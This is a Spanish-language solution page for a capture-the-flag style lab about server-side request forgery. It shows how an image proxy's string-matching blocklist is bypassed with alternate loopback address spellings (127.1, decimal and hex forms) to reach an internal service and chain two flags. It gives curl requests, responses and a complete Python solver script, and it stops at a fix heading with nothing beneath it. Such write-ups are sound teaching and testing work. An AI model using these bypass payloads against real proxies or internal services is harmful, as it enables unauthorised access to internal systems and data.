BeriaBox Solución Volver al laboratorio →

Fullwidth · laboratorio 004 · media

El filtro lee texto; el parser lee direcciones.

Una lista negra de destinos que compara cadenas y un cliente HTTP que normaliza la URL antes de conectar. Es la clase de fallo de los avisos de Node.js de octubre de 2026: la comprobación de destino no contempla las grafías no estándar de una misma dirección.

En una línea. El proxy bloquea 127.0.0.1 pero conecta a lo que diga new URL(): pide 127.1, 2130706433 o 0x7f000001 y llegarás al servicio interno, que guarda las dos evidencias.

1 · El aviso del que sale la idea

El 21 de octubre de 2026 Node.js publicó diez correcciones. Tres de ellas —CVE-2026-105482, CVE-2026-105483 y CVE-2026-106069— comparten raíz: la verificación del destino no contempla grafías no estándar de una misma dirección IP. Si tu comprobación mira la cadena y tu cliente mira la dirección ya normalizada, hay una rendija.

Este laboratorio no reproduce el binario de Node: reproduce la clase de fallo con el mismo patrón, que es lo que te vas a encontrar en aplicaciones reales. La misma familia aparece en CVE-2026-50168 (Angular SSR, junio de 2026): la lista blanca valida con el parser estricto y el cliente resuelve con el permisivo.

2 · Reconocimiento

imgproxy escucha en el puerto 8080 y descarga imágenes «desde nuestro almacén».

curl -s 'http://<ip>:8080/fetch?url=http://images.internal/logo.png'
{"url":"...","error":"getaddrinfo ENOTFOUND images.internal"}

Y si apuntas a loopback, te para:

curl -s 'http://<ip>:8080/fetch?url=http://127.0.0.1:9091/latest/meta-data'
{"error":"destino no permitido"}        # 403

El código del proxy está a la vista si lo deduces del comportamiento: compara el texto que llega contra una lista (127.0.0.1, localhost, 169.254, 0.0.0.0, ::1) y, si pasa, construye la URL con el parser y conecta.

3 · Cómo filtra

La comprobación es una búsqueda de subcadena sobre la cadena original. Todo lo que no contenga literalmente esos textos, pasa. Y el parser de URL de Node acepta varias formas de escribir la misma IPv4 y las convierte a la forma canónica después del filtro.

4 · Las grafías alternativas

Cualquiera de estas llega al servicio interno, que escucha solo en loopback:

http://127.1:9091/latest/meta-data          # IPv4 abreviada
http://2130706433:9091/latest/meta-data     # entero decimal de 127.0.0.1
http://0x7f000001:9091/latest/meta-data     # hexadecimal

# las tres devuelven 200 y el JSON del servicio interno

El servicio se presenta solo y da la pista de lo que guarda:

{"service":"vault","instance":"imgproxy-01",
 "routes":["/latest/meta-data/flag"],
 "note":"el panel de administración pide X-Ticket con la evidencia de usuario (?ticket=...)"}
curl -s 'http://<ip>:8080/fetch?url=http://127.1:9091/latest/meta-data/flag'
{"flag":"BL{...}"}                        # /home/img/flag.txt

La familia de los dígitos de ancho completo (①②⑦.0.0.1) depende de la versión del parser: en Node 20 esta imagen no la normaliza y la petición falla con 502. En otros entornos sí. Si una forma no entra, prueba la siguiente — así se hace en un test real.

5 · La segunda evidencia

La segunda vive en /root/root.txt y el servicio corre como img: no puede leerla. Pero la ruta de administración del depósito no se conforma con llegar: pide la evidencia de usuario como ticket. Como el SSRF te deja elegir la URL entera, se la pasas en la query:

curl -s 'http://<ip>:8080/fetch?url=http://2130706433:9091/latest/admin/flag?ticket=BL%7B...%7D'
{"flag":"BL{...}"}                        # /root/root.txt

# sin el ticket correcto:
{"error":"ticket no válido"}              # 403

Todo junto

import json, re, urllib.parse, urllib.request

IP = "<ip>"
def fetch(target):
    url = "http://%s:8080/fetch?url=%s" % (IP, urllib.parse.quote(target, safe=""))
    return json.loads(urllib.request.urlopen(url, timeout=20).read())

user = re.search(r"BL\{[0-9a-f]+\}", fetch("http://127.1:9091/latest/meta-data/flag")["body"]).group(0)
print(user)
admin = fetch("http://2130706433:9091/latest/admin/flag?ticket=" + urllib.parse.quote(user))
print(admin["body"])

6 · Cómo se arregla